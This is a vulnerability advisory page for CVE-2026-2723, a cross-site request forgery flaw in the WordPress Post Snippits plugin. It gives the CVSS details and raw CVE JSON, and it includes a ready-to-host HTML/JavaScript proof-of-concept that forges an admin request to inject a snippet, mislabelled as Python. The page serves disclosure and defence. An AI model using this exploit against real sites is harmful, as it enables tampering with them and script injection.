Security Vulnerability Report
中文
CVE-2026-2723 CVSS 6.1 MEDIUM

CVE-2026-2723

Published: 2026-03-21 04:17:12
Last Modified: 2026-04-24 16:27:44

Description

The Post Snippits plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the settings page handlers for saving, adding, and deleting snippets. This makes it possible for unauthenticated attackers to modify plugin settings and inject malicious scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Post Snippits <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-2723: CSRF in WordPress Post Snippits Plugin Description: This HTML page demonstrates how an attacker could inject a malicious snippet. Usage: Host this file and trick an authenticated admin to visit it. --> <html> <body> <h2>CVE-2026-2723 CSRF Exploit</h2> <p>Attempting to inject malicious snippet...</p> <script> // Target URL for the vulnerable plugin var targetUrl = "http://target-wordpress-site.com/wp-admin/admin.php?page=post-snippits"; // Payload parameters to add a new snippet (Actual parameter names may vary based on plugin version) var params = "action=add_snippet&snippet_title=Exploit&snippet_content=<?php echo 'Hacked by CVE-2026-2723'; ?>&submit=Save"; var xhr = new XMLHttpRequest(); xhr.open("POST", targetUrl, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { console.log("Exploit request sent successfully."); } }; // Send the forged request xhr.send(params); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2723", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:12.387", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Post Snippits plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the settings page handlers for saving, adding, and deleting snippets. This makes it possible for unauthenticated attackers to modify plugin settings and inject malicious scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Post Snippits para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0, inclusive. Esto se debe a la falta de validación de nonce en los manejadores de la página de configuración para guardar, añadir y eliminar fragmentos. Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin e inyecten scripts maliciosos a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/post-snippits/tags/1.0/post-snippits.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-snippits/tags/1.0/post-snippits.php#L71", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-snippits/tags/1.0/post-snippits.php#L77", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-snippits/trunk/post-snippits.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-snippits/trunk/post-snippits.php#L71", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-snippits/trunk/post-snippits.php#L77", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d96d1f33-43b3-4e20-967e-988cb32b04ee?source=cve", "source": "[email protected]"}]}}